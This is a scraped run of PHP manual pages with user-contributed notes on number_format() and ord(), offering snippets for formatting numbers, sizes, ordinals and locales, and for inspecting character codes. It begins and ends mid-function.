if (number_format($number,$decimals,'.',',') != $number) {
        return $number;
} else {
        return number_format($number,$decimals,'.',',');
        }
}
ck at vowel dot se 26-May-2006 03:11
Again, the function for returning file size in human readable format, but with a tweek for displaying one decimal when size is less than 10 units.

<?php
function human_readable( $size )
{
   $count = 0;
   $format = array("B","KB","MB","GB","TB","PB","EB","ZB","YB");
   while(($size/1024)>1 && $count<8)
   {
       $size=$size/1024;
       $count++;
   }
   if( $size < 10 ) $decimals = 1;
   else $decimals = 0;
   $return = number_format($size,$decimals,'.',' ')." ".$format[$count];
   return $return;
}
?>

Thanks to "php dot net at alan-smith dot no-ip dot com" and "service at dual-creators dot de".
rudie at jouwmoeder dot nl 22-May-2006 02:30
number_format is pretty fast. It's much slower than calculation though:
<?php

$start = microtime(true);

echo "<pre>";
for ($i=0;$i<100000;$i++)
{
    echo number_format(microtime(true)-$start,25)."\n";
}
echo "<hr />Parsetime: ".(microtime(true)-$start);

?>
This takes 1.03 seconds all the time. Without the -$start in the number_format cmd, it takes exactly as long (I ran it about 20 times).
The simple calculation inside number_format takes relatively no time. Defining the number before entering it into number_format also gives no change:
{
    $num = microtime(true)-$start;
    echo number_format($num,25)."\n";
}

Which concludes it takes about .01 sec to do a thousand number_format.
If you'd do the same routine without the number_format, it'd take .75 seconds -> number_format very fast!
gfinale at hotmail dot com 14-May-2006 10:58
Thanks to armstrong ~~at~~ rice ~~dot~~ edu for your number to words function.  There does seem to be one glitch I've discovered, at least on my system.  Hundreds work but hundreds of thousands and hundreds of millions do not.  e.g. 100,000 or 100,000,000 hangs.
chris_cember at cinmach dot com 15-Mar-2006 01:40
// the mktime shortcut is a little trickier than it would first appear, even with a mod...

function text_number($n) {
    $mod = $n % (($n > 20)?10:20);
    return $n . (($mod==0)?"th":date("S",mktime(0,0,0,1,$mod,2000)));
}

// or for those who don't appreciate shorthand:

function text_number($n) {
    if ($n > 20) {
        $mod_factor = 10;
    } else {
        $mod_factor = 20;
    }
    $mod = $n % $mod_factor;
    if ($mod == 0) {
        $txt = "th";
    } else {
        $txt = date("S",mktime(0,0,0,1,$mod,2000));
    }
    return $n . $txt;
}

/*
one issue comes up in numbers that mod to zero (which mktime will associate with the 31st of December, 1999).  another issue is between 23rd and 13rd, err I mean 13th.  If you use 20 (or even 30) all the time, however, you'll end up with 33th (or 43th).
*/
Steve Neill 03-Mar-2006 04:04
actually, you'd want to MOD the number to get it within a useful range first (1 .. 30).

Enjoy.
mikesabatino at gmail dot com 01-Mar-2006 07:34
<?php
# Function to represent a number like '2nd', '10th', '101st' etc
function text_number($n)
{
    # Array holding the teen numbers. If the last 2 numbers of $n are in this array, then we'll add 'th' to the end of $n
    $teen_array = array(11, 12, 13, 14, 15, 16, 17, 18, 19);

    # Array holding all the single digit numbers. If the last number of $n, or if $n itself, is a key in this array, then we'll add that key's value to the end of $n
    $single_array = array(1 => 'st', 2 => 'nd', 3 => 'rd', 4 => 'th', 5 => 'th', 6 => 'th', 7 => 'th', 8 => 'th', 9 => 'th', 0 => 'th');

    # Store the last 2 digits of $n in order to check if it's a teen number.
    $if_teen = substr($n, -2, 2);

    # Store the last digit of $n in order to check if it's a teen number. If $n is a single digit, $single will simply equal $n.
    $single = substr($n, -1, 1);

    # If $if_teen is in array $teen_array, store $n with 'th' concantenated onto the end of it into $new_n
    if ( in_array($if_teen, $teen_array) )
    {
        $new_n = $n . 'th';
    }
    # $n is not a teen, so concant the appropriate value of it's $single_array key onto the end of $n and save it into $new_n
    elseif ( $single_array[$single] )
    {
        $new_n = $n . $single_array[$single];
    }

    # Return new
    return $new_n;
}
?>
MarcM 20-Feb-2006 10:03
For Zero fill - just use the sprintf() function

$pr_id = 1;
$pr_id = sprintf("%03d", $pr_id);
echo $pr_id;

//outputs 001
-----------------

$pr_id = 10;
$pr_id = sprintf("%03d", $pr_id);
echo $pr_id;

//outputs 010
-----------------

You can change %03d to %04d, etc.
adnan 'at' barakatdesigns 'dot' net 30-Jan-2006 07:43
Just a note to the author of the "zerofill" function, you may find it easier using the str_pad function

<?php
$num = 4;
$zerofill = 3;

echo str_pad($num, $zerofill, "0", STR_PAD_LEFT);

/* Returns the same wanted result of '004' */
?>
versae arroba gmail punto com 24-Jan-2006 03:17
A modification for kolnedra's function

<?

function humanReadable($val, $miles = 0){
    if($val>=1000)
        $val = humanReadable($val / 1024, ++$miles);
    else {
        $unidad = array('','K','M','G','T','P','E','Z','Y',
        'X','W','V','U','TD','S','R',
        'Q','PP','O','N','MI','L');
        $val = round($val, 2).$unidad[$miles].'B';
    }
    return $val;
}

?>
20-Jan-2006 12:48
A function to return a number with needed zeros at the beginning. Called "zerofill"

<?php
// $num = 4; $zerofill= 3; returns "004"
function zerofill ($num,$zerofill) {
    while (strlen($num)<$zerofill) {
        $num = "0".$num;
    }
    return $num;
}
?>
YumYum 10-Jan-2006 10:19
Jarrat's example below has a problem.  If the number is negative, the sign is dropped.  It always returns positive numbers.  The problem seems to be in the float cast in:

return (float) $number[0].'.'.$decimal;

I have not had a problem in PHP5 with:

return $number[0].'.'.$decimal;
Sprille 21-Dec-2005 08:45
as response to mike at phpeeb dot com.

You can do aritmetic even on strings, you just need a little function to sort it out like this :

function str2no($number){
  $number = str_replace(".", "", $number);
  $number = str_replace(",", ".", $number);
  return $number;
}

function no2str($number){
  $number = number_format($number,2, ',', '.');
  return $number;
}

echo no2str(str2no("1.200,50")*3);

// we use 1200.50 as input "1.200,50" is the danish string for this number
//this will output 3601.50 with right formatting = 3.601,50 as string
//nice to know when dealing with money.
kolnedra at gmail dot com 10-Oct-2005 06:28
A way to let a number (in this case an ammount of money) be shown in dutch annotation:
<?
// geld(123) >>> 123
// geld(123456) >>> 1.234.567
function geld($nm) {
    for ($done=strlen($nm); $done > 3;$done -= 3) {
        $returnNum = ".".substr($nm,$done-3,3).$returnNum;
    }
    return substr($nm,0,$done).$returnNum;
}
?>
mikro_at_teppisti_dot_it 05-Oct-2005 04:04
This function formats numbers 'human readable' better (IMHO) than mircea way:

function humanReadable($val,$thousands=0){
   if($val>=1000)
     $val=humanReadable($val/1024,++$thousands);
   else{
     $unit=array('','K','M','T','P','E','Z','Y');
     $val=round($val,2).$unit[$thousands].'B';
   }
   return $val;
 }
Jeroen de Bruijn [NL] 01-Oct-2005 03:02
If you want to display a number ending with ,- (like 200,-) when there are no decimal characters and display the decimals when there are decimal characters i use:

function DisplayDouble($value)
  {
  list($whole, $decimals) = split ('[.,]', $value, 2);
  if (intval($decimals) > 0)
    return number_format($value,2,".",",");
  else
    return number_format($value,0,".",",") .",-";
  }
astrolox at lawyersonline dot co dot uk 01-Aug-2005 08:34
Users should be aware of the following behaviour.
I'm not sure if this is a PHP bug, libc bug, or if it's even a bug at all. So I thought I'd make a comment and allow everyone else to make up their own minds.

FreeBSD 4.3 PHP 4.3.3

<?php

// the comments show the output generated by this script

echo "input 8.525 output = ". number_format( 8.525, 2, '.', "") ."\n";
echo "input 8.525 output = ". number_format(8.525, 2, '.', "") ."\n";

// input 8.525 output = 8.53
// input 8.525 output = 8.53

$a = 483.00;
$b = 0.175;

$c = $a * $b;

echo "input \$c = $c type ". gettype($c) ." output = ". number_format( $c, 2, '.', "") ."\n";

// input $c = 84.525 type double output = 84.52

$d = 17.5;

$e = ( $a / 100 ) * $d;

echo "input \$e = $e type ". gettype($e) ." output = ". number_format( $e, 2, '.', "") ."\n";

// input $e = 84.525 type double output = 84.53

echo "input 63.745 output = ". number_format(63.745, 2, '.', "") ."\n";
echo "input 64.745 output = ". number_format(64.745, 2, '.', "") ."\n";
echo "input 65.745 output = ". number_format(65.745, 2, '.', "") ."\n";

// input 63.745 output = 63.74
// input 64.745 output = 64.75
// input 65.745 output = 65.75

?>
jarratt at si-works dot net 15-Jul-2005 03:06
With one of the payment providers they required a monitary input of 12345.67 always with a 2 decimal placing even if .00

if you have a number 12345.5 with only one decimal place i could find no sutable php function to guarentee two decimal palces and add a trailing zero if required,

This fucntion should assist

function format_number($str,$decimal_places='2',$decimal_padding="0"){
        /* firstly format number and shorten any extra decimal places */
        /* Note this will round off the number pre-format $str if you dont want this fucntionality */
        $str           =  number_format($str,$decimal_places,'.','');     // will return 12345.67
        $number       = explode('.',$str);
        $number[1]     = (isset($number[1]))?$number[1]:''; // to fix the PHP Notice error if str does not contain a decimal placing.
        $decimal     = str_pad($number[1],$decimal_places,$decimal_padding);
        return (float) $number[0].'.'.$decimal;
}

/* examples */

format_number('1234');       // -->   1234.00
format_number('1234.5');     //-->   1234.50
format_number('1234.567');  //-->   1234.57
marc dot vanwoerkom at fernuni-hagen dot de 14-Jul-2005 06:53
See also the documentation for localeconv, which will provide values for decimal point and thousands separator from the C standard library.

Of course localeconv features many more locale information, like indicating to put the negative sign behind the value for some locale settings which can't be used to customize present number_format.
venimus777 at yahoo dot com 08-Jun-2005 05:25
You could use the following regular expression to divide
a number into parts:

$1-number without fractal part
$2-fractal part
$3-first 2 digits of the fractal part
$4-rest of the fractal part

the regex removes any leading and trailing symbols and leading zeros. It doesnt validate the number, so 12 41 is considered to be correct input!

english notation:
/^.*?[0]*([\d\s]+)(([\.][\d]{0,2})([\d]*))?.*?$/

french notation:
/^.*?[0]*([\d\s]+)(([\,][\d]{0,2})([\d]*))?.*?$/

<?php
// truncate the fractal part up to 2 digits of an "english number":
$number = '01,234.50789';
$trunc = preg_replace(
    '/^.*?[0]*([\d\,]+)(([\.][\d]{0,2})([\d]*))?.*?$/',
    '$1$3',
    $number
);
echo $trunc;
?>

Outputs:
1,234.50

$number='e00012 41.100001e-4fasfd';
would output:
12 41.10
woodynadobhar at hotmail dot com 17-May-2005 09:04
What do you do if some of your numbers have decimal places, and some don't?  You can switch between functions, but if you're building it in a loop, that's not a good solution.  Instead, we have the same as below, with a slight change:

function number_format_unlimited_precision($number,$decimal = '.'){
    $broken_number = explode($decimal,$number);
    if($broken_number[1]==0){
        return number_format($broken_number[0]);
    }else{
        return number_format($broken_number[0]).$decimal.$broken_number[1];
    };
};
stm555 at hotmail dot com 27-Apr-2005 08:54
I ran across an issue where I wanted to keep the entered precision of a real value, without arbitrarily rounding off what the user had submitted.

I figured it out with a quick explode on the number before formatting. I could then format either side of the decimal.

<?php
      function number_format_unlimited_precision($number,$decimal = '.')
      {
           $broken_number = explode($decimal,$number);
           return number_format($broken_number[0]).$decimal.$broken_number[1];
      }
?>
mike at phpeeb dot com 02-Apr-2005 01:13
Since number_format returns a string, you must perform all mathmatical functions on the number before applying number_format:

<?
$total = 100;
$total = number_format($total, 2);
$shipping = 20.00;
$grand_total = $total + $shipping;

echo number_format($grand_total, 2);

/* The above will return 21.00 because $total is now a string, and no longer an integer or float. Since a string will have a value of 1,  the addition of the two will return 21 and not 120. */

$total = 100;
$shipping = 20.00;
$grand_total = $total + $shipping;

echo number_format($grand_total, 2);

/* This works, and will return 120.00 as intended */

?>
php at mijav dot dk 31-Mar-2005 06:25
A bug was issued that -0,00 is invalid output from number_format(), but the bug was rejected since the number "-0.0000000000000000001E-999 is about -0". And the developer felt this was correct output.

Please beware of negative numbers close to zero, as they might produce this unusable (and in my opinion incorrect/off-description) output.
ChronoFish 23-Mar-2005 11:14
I was looking for an easy way to take a number (or string) and force into a specific format.  I came up with.  I apologize if this is redundant, but I could not find a simular function:

/***********************************
* string_format
***********************************/
function string_format($format, $string, $placeHolder = "#")
{
    $numMatches = preg_match_all("/($placeHolder+)/", $format, $matches);
    foreach ($matches[0] as $match)
    {
        $matchLen = strlen($match);
        $format = preg_replace("/$placeHolder+/", substr($string, 0, $matchLen), $format, 1);
        $string = substr($string, $matchLen);
    }
    return $format;
}

To Use:

print string_format("(###)###-####", "4015551212");
will print out:
(401)555-1212

Hope this helps someone,

CF
tonywebman at NOSPAM dot telusplanet dot net 23-Feb-2005 01:14
While trying to add variables whose values had been processed with number_format() I found an interesting gotcha. Perhaps this might help others.

Since number_format() returns a string, numbers returned that DO NOT have a comma in them will still be added but numbers that DO have a comma will not be added because PHP considers them a string and ignores them.

e.g. #1
$quant_mag = 1;
$cost_mag = 100;
$quant_ffr = 1
$cost_ffr = 100;

$ext_mag = number_format($quant_mag * $cost_mag,2);
$ext_ffr = number_format($quant_ffr * $cost_ffr,2);

$total_cost = $ext_mag + $ext_ffr;

// $total cost is: 200

e.g. #2
$quant_mag = 10;
$cost_mag = 100;
$quant_ffr = 1
$cost_ffr = 100;

$ext_mag = number_format($quant_mag * $cost_mag,2);
$ext_ffr = number_format($quant_ffr * $cost_ffr,2);

$total_cost = $ext_mag + $ext_ffr;
// $total cost is: 100 (not 1100 as you would expect) because $ext_mag is ignored because php interprets its value (1,000) as a string so it won't add it to $ext_ffr.
keyg at auralplanet dot com 22-Nov-2004 06:56
if you want &nbsp; as a separator and use windows charset this piece of code may help:

<?php
$number=number_format($number,2,'.',chr(0xA0));
?>
brandonprudent at yahoo dot com 10-Oct-2004 11:52
To convert numbers to thier textual representations, you can use an adapted version of the Number::Spell Perl module. The PHP conversion can be found here: http://pear.php.net/package/Numbers_Words
GeekPrices Dot Com 06-Oct-2004 05:57
this also works as well

$number = "29346.99"; //value
echo "$" .number_format($number, 2, '.', ',');

produces $29,346.99
Svein Tjonndal (sveint at yahoo dot com) 14-Sep-2004 07:18
If you use space as a separator, it will break on that space in HTML tables...

Furthermore, number_format doesn't like '&nbsp;' as a fourth parameter. I wrote the following function to display the numbers in an HTML table.

  function numberfix($number)
  {
    $number = number_format($number,0,","," ");
    return str_replace(" ", "&nbsp;", $number);
  }

For use in:
<table><tr><td><?php echo $number; ?></td></tr></table>
drew at zitnay dot com 17-Aug-2004 11:17
A more reliable and concise way of doing what S. Rahmel was trying to do below is as follows:

<?php
$field_inhalt = str_replace(array(".", ","), array("", "."), $field_inhalt);
?>

The str_replace() call will first replace all dots with blanks, and then replace all commas with dots.  That way, it doesn't break down when you try a number over one million (i.e. 1.010.453,21).

Drew
mircea at vtds dot co dot uk 02-Jun-2004 09:57
This function formats numbers 'human readable':

function byte_format($input, $dec=0)
{
  $prefix_arr = array(" B", "K", "M", "G", "T");
  $value = round($input, $dec);
  $i=0;
  while ($value>1024)
  {
     $value /= 1024;
     $i++;
  }
  $return_str = round($value, $dec).$prefix_arr[$i];
  return $return_str;
}
S. Rahmel 11-Mar-2004 02:47
if you converted a number to a German format with number_format() and want to save it in mySQL, you first have to change the number format back to an English format.

For example
10.453,21 >>>> 10453.21

Here is an example how to do this:

    $field_array=explode(".", $field_inhalt);
    $field_inhalt=$field_array[0].$field_array[1];
    $foeld_array=explode(",", $field_inhalt);
    $field_inhalt=$field_array[0].".".$feld_array[1];
    $field_inhalt=sprintf($field_inhalt, 2);

$field_inhalt is the variable of the actual number you want to change to the english format.
chandu at chandu dot org 07-Mar-2004 05:29
People here in India are more used to counting money in Lakhs & Crores .. so here is the code for formatting the commas with thousands for the first time and then with hundred multiples from there after.

Ex: 1234567  ->  12,34,567

<?php

function makecomma($input)
{
    // This function is written by some anonymous person - I got it from Google
    if(strlen($input)<=2)
    { return $input; }
    $length=substr($input,0,strlen($input)-2);
    $formatted_input = makecomma($length).",".substr($input,-2);
    return $formatted_input;
}

function formatInIndianStyle($num){
    // This is my function
    $pos = strpos((string)$num, ".");
    if ($pos === false) { $decimalpart="00";}
    else { $decimalpart= substr($num, $pos+1, 2); $num = substr($num,0,$pos); }

    if(strlen($num)>3 & strlen($num) <= 12){
                $last3digits = substr($num, -3 );
                $numexceptlastdigits = substr($num, 0, -3 );
                $formatted = makecomma($numexceptlastdigits);
                $stringtoreturn = $formatted.",".$last3digits.".".$decimalpart ;
    }elseif(strlen($num)<=3){
                $stringtoreturn = $num.".".$decimalpart ;
    }elseif(strlen($num)>12){
                $stringtoreturn = number_format($num, 2);
    }

    if(substr($stringtoreturn,0,2)=="-,"){$stringtoreturn = "-".substr($stringtoreturn,2 );}

    return $stringtoreturn;
}

$num = 1234567;
echo  formatInIndianStyle($num);

?>
armstrong ~~at~~ rice ~~dot~~ edu 23-Feb-2004 04:33
I submitted this question earlier, but I found the answer myself.  To convert a number to its word form (e.g. 34 to "thirty four")  try the function below.  It turned out to be a lot more complex than I thought!

I'm using it for printing dollar ammounts, so the cents get printed like 13/100

I converted most of it from this java code http://mindprod.com/inwords.html so credit goes to him for doing the hard part.

<?
/**
* convert long integer into American English words.
* e.g. -12345 -> "minus twelve thousand forty-five"
* Handles negative and positive integers
* on range -Long.MAX_VALUE .. Long.MAX_VALUE;
* It cannot handle Long.MIN_VALUE;
*/

function num2words( $num ){
    $ZERO = "zero";
    $MINUS = "minus";
    $lowName = array(
          /* zero is shown as "" since it is never used in combined forms */
          /* 0 .. 19 */
          "", "one", "two", "three", "four", "five",
          "six", "seven", "eight", "nine", "ten",
          "eleven", "twelve", "thirteen", "fourteen", "fifteen",
          "sixteen", "seventeen", "eighteen", "nineteen");

    $tys = array(
          /* 0, 10, 20, 30 ... 90 */
          "", "", "twenty", "thirty", "forty", "fifty",
          "sixty", "seventy", "eighty", "ninety");

    $groupName = array(
          /* We only need up to a quintillion, since a long is about 9 * 10 ^ 18 */
          /* American: unit, hundred, thousand, million, billion, trillion, quadrillion, quintillion */
          "", "hundred", "thousand", "million", "billion",
          "trillion", "quadrillion", "quintillion");

    $divisor = array(
          /* How many of this group is needed to form one of the succeeding group. */
          /* American: unit, hundred, thousand, million, billion, trillion, quadrillion, quintillion */
          100, 10, 1000, 1000, 1000, 1000, 1000, 1000) ;

    $num = str_replace(",","",$num);
    $num = number_format($num,2,'.','');
    $cents = substr($num,strlen($num)-2,strlen($num)-1);
    $num = (int)$num;

    $s = "";

    if ( $num == 0 ) $s = $ZERO;
    $negative = ($num < 0 );
    if ( $negative ) $num = -$num;

    // Work least significant digit to most, right to left.
    // until high order part is all 0s.
    for ( $i=0; $num>0; $i++ ) {
        $remdr = (int)($num % $divisor[$i]);
        $num = $num / $divisor[$i];
        // check for 1100 .. 1999, 2100..2999, ... 5200..5999
        // but not 1000..1099,  2000..2099, ...
        // Special case written as fifty-nine hundred.
        // e.g. thousands digit is 1..5 and hundreds digit is 1..9
        // Only when no further higher order.
        if ( $i == 1 /* doing hundreds */ && 1 <= $num && $num <= 5 ){
            if ( $remdr > 0 ){
                $remdr += $num * 10;
                $num = 0;
            } // end if
        } // end if
        if ( $remdr == 0 ){
            continue;
        }
        $t = "";
        if ( $remdr < 20 ){
            $t = $lowName[$remdr];
        }
        else if ( $remdr < 100 ){
            $units = (int)$remdr % 10;
            $tens = (int)$remdr / 10;
            $t = $tys [$tens];
            if ( $units != 0 ){
               $t .= "-" . $lowName[$units];
            }
        }else {
            $t = $inWords($remdr);
        }
        $s = $t . " " . $groupName[$i] . " "  . $s;
        $num = (int)$num;
    } // end for
    $s = trim($s);
    if ( $negative ){
        $s = $MINUS . " " . $s;
    }

    $s .= " and $cents/100";

    return $s;
} // end inWords

?>
cruzf_AT_fibertel.com.ar 07-Nov-2003 11:03
You could add padding zeros like this:

<?
$number="129";
$number=sprintf("%08d",$number);
?>
j dot bos at bytewriters dot nl 01-Jun-2003 12:45
If I'm not mistaking all these examples of adding leading zeros will not really work with floats. Sometimes though one needs it to have it working with floats as well.

With the function below use 2, 3 or 5 parameters. Don't ask me why 4 don't work, the number_format() function seems to have problems with that. At least my version of PHP has that "feature".

function leading_zero( $aNumber, $intPart, $floatPart=NULL, $dec_point=NULL, $thousands_sep=NULL) {        //Note: The $thousands_sep has no real function because it will be "disturbed" by plain leading zeros -> the main goal of the function
  $formattedNumber = $aNumber;
  if (!is_null($floatPart)) {    //without 3rd parameters the "float part" of the float shouldn't be touched
    $formattedNumber = number_format($formattedNumber, $floatPart, $dec_point, $thousands_sep);
    }
  //if ($intPart > floor(log10($formattedNumber)))
    $formattedNumber = str_repeat("0",($intPart + -1 - floor(log10($formattedNumber)))).$formattedNumber;
  return $formattedNumber;
  }

echo leading_zero(21.12345678, 4, 5);    // Output: 0021.12346
echo leading_zero(21.12345678, 4);    // Output: 0021.12345678
echo leading_zero(21.12345678, 3, 0); // Output: 021
echo leading_zero(21.12345678, 3, 5, ",", ""); // Output: 021,12346

addition: Just like the number_format I haven't found a way *not* to round a number while changing the decimal point and the thousands seperator.
sgj at dr dot com 17-May-2003 06:04
Just an observation:
The number_format rounds the value of the variable.

$val1 = 1.233;
$val2 = 1.235;
$val3 = 1.237;

echo number_format($val1,2,",","."); // returns: 1,23
echo number_format($val2,2,",","."); // returns: 1,24
echo number_format($val3,2,",","."); // returns: 1,24
Theo Diem 24-Mar-2003 01:45
formatting numbers may be more easy if u use number_format function.

I also wrote this :
function something($number)
{
    $locale = localeconv();
    return number_format($number,
       $locale['frac_digits'],
        $locale['decimal_point'],
        $locale['thousands_sep']);
}

hope this helps =)
[]'s
andrew at crucible dot co dot nz 04-Jan-2002 04:56
Remember that number_format returns a string, so you shouldn't run a number_format on a variable that's already a product of number_format (it will only take the first token of the string)...

eg. echo number_format("123,456.00", 2);
produces: 123.00
sctemplarknight at hotmail dot com 12-Dec-2001 01:27
number_format($number,$precision,".","") should be used when setting the value of form elements because if you read the number into a double upon submission, it will only store digits before the comma.
<p>
ie. <input type="text" value="<?php echo(number_format(2.5343,2,".","")">
nl2br
ord
String Functions


Return ASCII value of character

number_format
parse_str
String Functions
PHP Manual

ord

(PHP 4, PHP 5)

ord — Return ASCII value of character

Description

int ord ( string $string )

Returns the ASCII value of the first character of string.

This function complements chr().

Parameters

string

A character.

Return Values

Returns the ASCII value as an integer.

Examples

Example #1 ord() example

<?php
$str = "\n";
if (ord($str) == 10) {
    echo "The first character of \$str is a line feed.\n";
}
?>

See Also

  • chr() - Return a specific character
  • An » ASCII-table

User Contributed Notes

znaeff at mail dot ru 05-Oct-2011 09:36
I've found that variant with
unpack('N', mb_convert_encoding($c, 'UCS-4BE', 'UTF-8'));
is VERY-VERY slow.
Remember this when process strings longer than 1K.
Anonymous 05-Apr-2011 05:49
i need put utf8 hungarian "abc" into html id attribute, but id not contain non-ascii chars (like á, ő, ű), and not to begin a number.

<?php

function utfCharToNumber($char) {
    $i = 0;
    $number = '';
    while (isset($char{$i})) {
        $number.= ord($char{$i});
        ++$i;
        }
    return $number;
    }

// example use
foreach (array('a','A','b','B','c','C','e','é','É', 'ó','Ó','ö','Ö','ő','Ő','ú') as $d) {
    echo $d,': ',utfCharToNumber($d),"\n";
    }
?>

output:
a: 97
A: 65
b: 98
B: 66
c: 99
C: 67
e: 101
é: 195169
É: 195137
ó: 195179
Ó: 195147
ö: 195182
Ö: 195150
ő: 197145
Ő: 197144
ú: 195186

i generated the folowing ids:
"char-97", "char-65", "char-98" ...
manixrock(hat)gmail(doink)com 03-Jun-2010 08:14
For anyone having trouble trying to detect the encoding of a string because PHP provides no easy way to see the characters (and byte values) of a string, here's a function that returns the characters and byte values for the ASCII and UTF-8 encodings:

<?php
function hex_chars($data) {
    $mb_chars = '';
    $mb_hex = '';
    for ($i=0; $i<mb_strlen($data, 'UTF-8'); $i++) {
        $c = mb_substr($data, $i, 1, 'UTF-8');
        $mb_chars .= '{'. ($c). '}';

        $o = unpack('N', mb_convert_encoding($c, 'UCS-4BE', 'UTF-8'));
        $mb_hex .= '{'. hex_format($o[1]). '}';
    }
    $chars = '';
    $hex = '';
    for ($i=0; $i<strlen($data); $i++) {
        $c = substr($data, $i, 1);
        $chars .= '{'. ($c). '}';
        $hex .= '{'. hex_format(ord($c)). '}';
    }
    return array(
        'data' => $data,
        'chars' => $chars,
        'hex' => $hex,
        'mb_chars' => $mb_chars,
        'mb_hex' => $mb_hex,
    );
}
function hex_format($o) {
    $h = strtoupper(dechex($o));
    $len = strlen($h);
    if ($len % 2 == 1)
        $h = "0$h";
    return $h;
}
?>
regalia at umail dot ucsb dot edu 26-Jan-2009 03:54
Make sure that the parameter you are passing to the ord function is a string.

<?php
$num = 12345;

// Incorrect usage of square bracket notation
if(ord($num[0]) == 0)  {
    echo "Not a valid ASCII character";
}

// Using the substr method will account for any data type
if(ord(substr($num,0,1)) == 0) {
    echo "Not a valid ASCII character";
}

?>
darien at etelos dot com 19-Jan-2007 11:27
I found I wanted to sanitize a string for certain ASCII/ANSI characters, but to leave unicode alone. Since ord() breaks on processing unicode, I drew these two functions up to help with a saniziter which looked at ordinal values. (Finding "pack" and "unpack" was much better than my own powers-of-256 code.)

<?php

/*
    By Darien Hager, Jan 2007... Use however you wish, but please
    please give credit in source comments.

    Change "UTF-8" to whichever encoding you are expecting to use.
*/
function ords_to_unistr($ords, $encoding = 'UTF-8'){
    // Turns an array of ordinal values into a string of unicode characters
    $str = '';
    for($i = 0; $i < sizeof($ords); $i++){
        // Pack this number into a 4-byte string
        // (Or multiple one-byte strings, depending on context.)
        $v = $ords[$i];
        $str .= pack("N",$v);
    }
    $str = mb_convert_encoding($str,$encoding,"UCS-4BE");
    return($str);
}

function unistr_to_ords($str, $encoding = 'UTF-8'){
    // Turns a string of unicode characters into an array of ordinal values,
    // Even if some of those characters are multibyte.
    $str = mb_convert_encoding($str,"UCS-4BE",$encoding);
    $ords = array();

    // Visit each unicode character
    for($i = 0; $i < mb_strlen($str,"UCS-4BE"); $i++){
        // Now we have 4 bytes. Find their total
        // numeric value.
        $s2 = mb_substr($str,$i,1,"UCS-4BE");
        $val = unpack("N",$s2);
        $ords[] = $val[1];
    }
    return($ords);
}

?>
S.N.O.W.M.A.N.-X 28-Sep-2006 12:47
Well, i was thinking about a method to hash a string with md5 in a loose way, so md5("HELLO") isn't the same like md5("Hello"), even, i my case, it is about cd-titles i got submitted by users. So i made some function transforming my string to right what i want

Thisone is the "call" function returning the "loose hash".
It will get only the chars of a string, make them to uppercase and then hash with md5.

<?php
function loosehash($string){
    return md5(strtoupper(onlyChars($string)));
}
?>

Thisone is moving through a string like a chararray and check for the asciivalues, you can edit the values and condition to fit your needs

<?php
function onlyChars($string){
    $strlength = strlen($string);
    $retString = "";
    for($i = 0; $i < $strlength; $i++){
        if((ord($string[$i]) >= 48 && ord($string[$i]) <= 57) ||
        (ord($string[$i]) >= 65 && ord($string[$i]) <= 90) ||
        (ord($string[$i]) >= 97 && ord($string[$i]) <= 122)){
            $retString .= $string[$i];
        }
    }

    echo $retString;
}
?>
phil (at) pchowtos (dot) co (dot) uk 18-Jul-2006 10:51
You can use the following function to generate a random string between the lengths of $x and $y...

<?php
$x = 1;  //minimum length
$y = 10;  //maximum length

$len = rand($x,$y);  //get a random string length

for ($i = 0; $i < $len; $i++) {  //loop $len no. of times
   $whichChar = rand(1,3);  //choose if its a caps, lcase or num
   if ($whichChar == 1) { //it's a number
      $string .= chr(rand(48,57));  //randomly generate a num
   }
   elseif ($whichChar == 2) { //it's a small letter
      $string .= chr(rand(65,90));  //randomly generate an lcase
   }
   else { //it's a capital letter
      $string .= chr(rand(97,122));  //randomly generate a ucase
   }
}

echo $string;  //echo out the generated string
?>
erdem at a1tradenetwork dot com 16-May-2006 11:16
I have a new characters table. i want send it below that.

<?php
$color = "#f1f1f1";
echo "<center>";
echo "<h1>From 32 To 255 Characters Table</h1>";
echo "</center>";
echo "<table border=\"0\" style=\"font-family:verdana;font-size:11px;\"".
     " align=\"center\" width=\"800\"><tr style=\"font-weight:bold;\"  ".
     "bgcolor=\"#99cccc\">".
     "<td width=\"15\">DEC</td><td width=\"15\">OCT</td>".
     "<td width=\"15\">HEX</td><td width=\"15\">CHR</td>".

     "<td width=\"15\">DEC</td><td width=\"15\">OCT</td>".
     "<td width=\"15\">HEX</td><td width=\"15\">CHR</td>".

     "<td width=\"15\">DEC</td><td width=\"15\">OCT</td>".
     "<td width=\"15\">HEX</td><td width=\"15\">CHR</td>".

     "<td width=\"15\">DEC</td><td width=\"15\">OCT</td>".
     "<td width=\"15\">HEX</td><td width=\"15\">CHR</td>".

     "<td width=\"15\">DEC</td><td width=\"15\">OCT</td>".
     "<td width=\"15\">HEX</td><td width=\"15\">CHR</td>".

     "<td width=\"15\">DEC</td><td width=\"15\">OCT</td>".
     "<td width=\"15\">HEX</td><td width=\"15\">CHR</td>".

     "</tr><tr>";
$ii = 0;
for ($i=32;$i<=255;$i++){
    $char = chr($i);
    $dec  = ord($char);
    if ($i == "32") {
        $char = "Space";
    }
    echo "<td style=\"background-color:$color;width:15px;\">".
         $dec."</td>\n<td style=\"background-color:$color;".
         "width:15px;text-align:left;\">".decoct($dec)."</td>\n".
         "<td style=\"background-color:$color;width:15px;".
         "text-align:left;\">".dechex($dec)."</td>\n ".
         "<td style=\"background-color:$color;width:15px;".
         "text-align:left;\"><b>".$char."</b></td>\n ";

    if (($ii % 6) == 5) {
    echo "</tr>\n<tr>\n";

    }

   if (($ii % 2) == 1) {
         $color = "#f1f1f1";
    }else {
         $color = "#ffffcc";
    }

    $ii++;
}
echo "</tr></table>";
?>
Matthew Flint 31-Oct-2005 02:59
I wrote the following function to clean illegal characters from input strings.

(Background: I have a php-based news website. People were writing articles in MS Word, then copy-and-pasting the text into the website. Word uses non-standard characters for opening and closing quotes and double-quotes, and for "..." - and this was resulting in articles on the website that failed XHTML validation)

<?php
function clean_string_input($input)
{
    $interim = strip_tags($input);

    if(get_magic_quotes_gpc())
    {
        $interim=stripslashes($interim);
    }

    // now check for pure ASCII input
    // special characters that might appear here:
    //   96: opening single quote (not strictly illegal, but substitute anyway)
    //   145: opening single quote
    //   146: closing single quote
    //   147: opening double quote
    //   148: closing double quote
    //   133: ellipsis (...)
    //   163: pound sign (this is safe, so no substitution required)
    // these can be substituted for safe equivalents
    $result = '';
    for ($i=0; $i<strlen($interim); $i++)
    {
        $char = $interim{$i};
        $asciivalue = ord($char);
        if ($asciivalue == 96)
        {
            $result .= '\\'';
        }
        else if (($asciivalue > 31 && $asciivalue < 127) ||
                 ($asciivalue == 163) || // pound sign
                 ($asciivalue == 10) || // lf
